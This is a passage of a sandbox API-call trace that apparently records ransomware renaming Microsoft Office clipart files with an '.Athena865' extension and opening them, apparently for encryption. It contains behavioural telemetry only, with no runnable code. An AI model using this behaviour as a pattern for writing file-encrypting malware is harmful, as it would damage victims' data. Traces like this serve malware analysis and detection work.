office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.694] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5000) returned 1 [0123.697] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01242_.WMF" | out: lpString1="HH01242_.WMF") returned="HH01242_.WMF" [0123.697] lstrlenW (lpString="HH01242_.WMF") returned 12 [0123.697] lstrlenW (lpString="Athena865") returned 9 [0123.697] lstrcmpiW (lpString1="1242_.WMF", lpString2="Athena865") returned -1 [0123.697] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.Athena865") returned 73 [0123.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.698] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7340) returned 1 [0123.702] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01291_.WMF" | out: lpString1="HH01291_.WMF") returned="HH01291_.WMF" [0123.702] lstrlenW (lpString="HH01291_.WMF") returned 12 [0123.702] lstrlenW (lpString="Athena865") returned 9 [0123.702] lstrcmpiW (lpString1="1291_.WMF", lpString2="Athena865") returned -1 [0123.702] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.Athena865") returned 73 [0123.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.703] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15806) returned 1 [0123.706] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01329_.WMF" | out: lpString1="HH01329_.WMF") returned="HH01329_.WMF" [0123.706] lstrlenW (lpString="HH01329_.WMF") returned 12 [0123.706] lstrlenW (lpString="Athena865") returned 9 [0123.706] lstrcmpiW (lpString1="1329_.WMF", lpString2="Athena865") returned -1 [0123.706] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.Athena865") returned 73 [0123.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.707] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6016) returned 1 [0123.711] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01461_.WMF" | out: lpString1="HH01461_.WMF") returned="HH01461_.WMF" [0123.711] lstrlenW (lpString="HH01461_.WMF") returned 12 [0123.711] lstrlenW (lpString="Athena865") returned 9 [0123.711] lstrcmpiW (lpString1="1461_.WMF", lpString2="Athena865") returned -1 [0123.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.Athena865") returned 73 [0123.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5958) returned 1 [0123.714] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01618_.WMF" | out: lpString1="HH01618_.WMF") returned="HH01618_.WMF" [0123.714] lstrlenW (lpString="HH01618_.WMF") returned 12 [0123.714] lstrlenW (lpString="Athena865") returned 9 [0123.714] lstrcmpiW (lpString1="1618_.WMF", lpString2="Athena865") returned -1 [0123.714] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.Athena865") returned 73 [0123.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7296) returned 1 [0123.718] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01759_.WMF" | out: lpString1="HH01759_.WMF") returned="HH01759_.WMF" [0123.718] lstrlenW (lpString="HH01759_.WMF") returned 12 [0123.718] lstrlenW (lpString="Athena865") returned 9 [0123.718] lstrcmpiW (lpString1="1759_.WMF", lpString2="Athena865") returned -1 [0123.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.Athena865") returned 73 [0123.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.720] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5414) returned 1 [0123.724] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01875_.WMF" | out: lpString1="HH01875_.WMF") returned="HH01875_.WMF" [0123.724] lstrlenW (lpString="HH01875_.WMF") returned 12 [0123.724] lstrlenW (lpString="Athena865") returned 9 [0123.724] lstrcmpiW (lpString1="1875_.WMF", lpString2="Athena865") returned -1 [0123.724] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.Athena865") returned 73 [0123.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.725] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0123.728] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01923_.WMF" | out: lpString1="HH01923_.WMF") returned="HH01923_.WMF" [0123.728] lstrlenW (lpString="HH01923_.WMF") returned 12 [0123.728] lstrlenW (lpString="Athena865") returned 9 [0123.728] lstrcmpiW (lpString1="1923_.WMF", lpString2="Athena865") returned -1 [0123.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.Athena865") returned 73 [0123.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.730] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26706) returned 1 [0123.733] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02155_.WMF" | out: lpString1="HH02155_.WMF") returned="HH02155_.WMF" [0123.734] lstrlenW (lpString="HH02155_.WMF") returned 12 [0123.734] lstrlenW (lpString="Athena865") returned 9 [0123.734] lstrcmpiW (lpString1="2155_.WMF", lpString2="Athena865") returned -1 [0123.734] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.Athena865") returned 73 [0123.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.735] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2704) returned 1 [0123.737] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02166_.WMF" | out: lpString1="HH02166_.WMF") returned="HH02166_.WMF" [0123.737] lstrlenW (lpString="HH02166_.WMF") returned 12 [0123.738] lstrlenW (lpString="Athena865") returned 9 [0123.738] lstrcmpiW (lpString1="2166_.WMF", lpString2="Athena865") returned -1 [0123.738] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.Athena865") returned 73 [0123.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1324) returned 1 [0123.741] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02282_.WMF" | out: lpString1="HH02282_.WMF") returned="HH02282_.WMF" [0123.741] lstrlenW (lpString="HH02282_.WMF") returned 12 [0123.741] lstrlenW (lpString="Athena865") returned 9 [0123.741] lstrcmpiW (lpString1="2282_.WMF", lpString2="Athena865") returned -1 [0123.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.Athena865") returned 73 [0123.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.743] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7932) returned 1 [0123.746] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02298_.WMF" | out: lpString1="HH02298_.WMF") returned="HH02298_.WMF" [0123.746] lstrlenW (lpString="HH02298_.WMF") returned 12 [0123.746] lstrlenW (lpString="Athena865") returned 9 [0123.746] lstrcmpiW (lpString1="2298_.WMF", lpString2="Athena865") returned -1 [0123.746] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.Athena865") returned 73 [0123.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.748] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5552) returned 1 [0123.750] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02312_.WMF" | out: lpString1="HH02312_.WMF") returned="HH02312_.WMF" [0123.750] lstrlenW (lpString="HH02312_.WMF") returned 12 [0123.750] lstrlenW (lpString="Athena865") returned 9 [0123.750] lstrcmpiW (lpString1="2312_.WMF", lpString2="Athena865") returned -1 [0123.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.Athena865") returned 73 [0123.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.752] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4970) returned 1 [0123.755] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH02313_.WMF" | out: lpString1="HH02313_.WMF") returned="HH02313_.WMF" [0123.755] lstrlenW (lpString="HH02313_.WMF") returned 12 [0123.755] lstrlenW (lpString="Athena865") returned 9 [0123.755] lstrcmpiW (lpString1="2313_.WMF", lpString2="Athena865") returned -1 [0123.755] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.Athena865") returned 73 [0123.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3082) returned 1 [0123.759] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HM00005_.WMF" | out: lpString1="HM00005_.WMF") returned="HM00005_.WMF" [0123.759] lstrlenW (lpString="HM00005_.WMF") returned 12 [0123.759] lstrlenW (lpString="Athena865") returned 9 [0123.759] lstrcmpiW (lpString1="0005_.WMF", lpString2="Athena865") returned -1 [0123.760] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.Athena865") returned 73 [0123.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.761] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23300) returned 1 [0123.764] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HM00114_.WMF" | out: lpString1="HM00114_.WMF") returned="HM00114_.WMF" [0123.764] lstrlenW (lpString="HM00114_.WMF") returned 12 [0123.764] lstrlenW (lpString="Athena865") returned 9 [0123.765] lstrcmpiW (lpString1="0114_.WMF", lpString2="Athena865") returned -1 [0123.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.Athena865") returned 73 [0123.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.766] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22116) returned 1 [0123.769] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HM00116_.WMF" | out: lpString1="HM00116_.WMF") returned="HM00116_.WMF" [0123.769] lstrlenW (lpString="HM00116_.WMF") returned 12 [0123.769] lstrlenW (lpString="Athena865") returned 9 [0123.770] lstrcmpiW (lpString1="0116_.WMF", lpString2="Athena865") returned -1 [0123.770] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.Athena865") returned 73 [0123.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.771] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15852) returned 1 [0123.774] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HM00172_.WMF" | out: lpString1="HM00172_.WMF") returned="HM00172_.WMF" [0123.774] lstrlenW (lpString="HM00172_.WMF") returned 12 [0123.774] lstrlenW (lpString="Athena865") returned 9 [0123.774] lstrcmpiW (lpString1="0172_.WMF", lpString2="Athena865") returned -1 [0123.774] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.Athena865") returned 73 [0123.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.777] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2832) returned 1 [0123.780] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HM00426_.WMF" | out: lpString1="HM00426_.WMF") returned="HM00426_.WMF" [0123.780] lstrlenW (lpString="HM00426_.WMF") returned 12 [0123.780] lstrlenW (lpString="Athena865") returned 9 [0123.780] lstrcmpiW (lpString1="0426_.WMF", lpString2="Athena865") returned -1 [0123.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.Athena865") returned 73 [0123.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.athena865"), dwFlags=0x1) 